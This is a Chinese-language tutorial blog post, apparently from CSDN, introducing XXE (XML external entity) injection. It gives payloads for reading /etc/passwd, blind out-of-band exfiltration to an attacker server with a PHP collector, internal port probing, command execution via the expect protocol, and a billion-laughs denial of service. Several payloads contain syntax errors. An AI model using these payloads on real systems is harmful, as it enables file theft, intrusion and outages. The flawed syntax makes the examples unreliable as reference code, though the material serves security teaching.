XXE漏洞快速入门(回显问题)

本文详细解释了XML外部实体注入(XEE)攻击原理,涉及如何利用未授权的外部实体加载恶意XML内容,导致数据泄露、系统操作和网络攻击。文章还展示了不同类型的XEE利用案例,包括文件读取、内网探测、命令执行以及拒绝服务攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

概述 

xxe发生在应用解析xml输入的时候,没有禁止外部实体加载,被恶意利用,加载外部xml文件,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。

xml

一段xml代码

<?xml version=’1.0’?>					//声明XML解析器版本来解析
<zxd>								    //根元素
<name>test</name>						//子元素,意思就是name变量的值是test
<age>20</age>                           // age值为20
</zxd>

可以看出类似于html区别在于

XML 被设计用来传输和存储数据。 

HTML 被设计用来显示数据

实体

上述例子中,<age>20</age>,如果20加上了尖括号,或者别的特殊符号,会引发报错,服务端解析的时候无法识别数值和标签

解决办法:引入实体

实体在XML文档中的文档类型定义部分(DTD)被单独定义描述。

<?xml version='1.0'?>             //XML声明
<!DOCTYPE zxd[
<!ENTITY name "zxd" >
]>                                //DTD部分
<zxd>
<name>&name;</name>
<age>20</age>                     //XML部分
</zxd>

内部实体和外部实体语法

引入外部的DTD文件时,dtd文件中存放的就是xml代码,并且引用外部实体的时候还可以使用各种伪协议,而不是仅限于http协议 

内部实体为自己编写的DTD内容

外部实体为引入外部的DTD内容

演示-有回显

xxe即为xml的外部实体注入,如上所述,ENTITY不仅能指定存储数据,还能从本地或远程文件中调用相关数据,做后续的引入

举个例子


<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<c>&f</c>
 

将/etc/wasspd内容给f,通过标签c输出f内容

上述情况为有回显

无回显

测试漏洞是否存在


<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "dnslog域名">
]>
<c>&f</c>
 

dnslog接收到数据则可以证明存在漏洞

无回显利用的payload

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % remote SYSTEM "http://vpsip/test.dtd">

%remote;

%all;

]>

<root>&send;</root>

步骤解读:

读取/etc/passwd/内容,发送到vps的test.dtd文件

test.dtd文件:接受数据到get.php文件

<!ENTITY % all "<!ENTITY send SYSTEM 'vpsip/get.php?file=%file;'>">

get.php:将接收到的数据写入passwd.txt文件

<?php

$data=$_GET['file'];

$myfile = fopen("passwd.txt", "w+");

fwrite($myfile, $data);

fclose($myfile);

?>

内网探测

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="http://127.0.0.1.22"]>
<creds>
    <username>&xxe</username>
    <password>test</password>
</creds>

命令执行

调用except://伪协议调用系统命令
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<creds>
    <username>&xxe</username>
    <password>test</password>
</creds>

ddos

<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

递归引用,lol 实体具体还有 "lol" 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 "lol" 了,以此类推,lol9 实体含有 10^8 个 "lol" 字符串,最后再引用lol9。构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值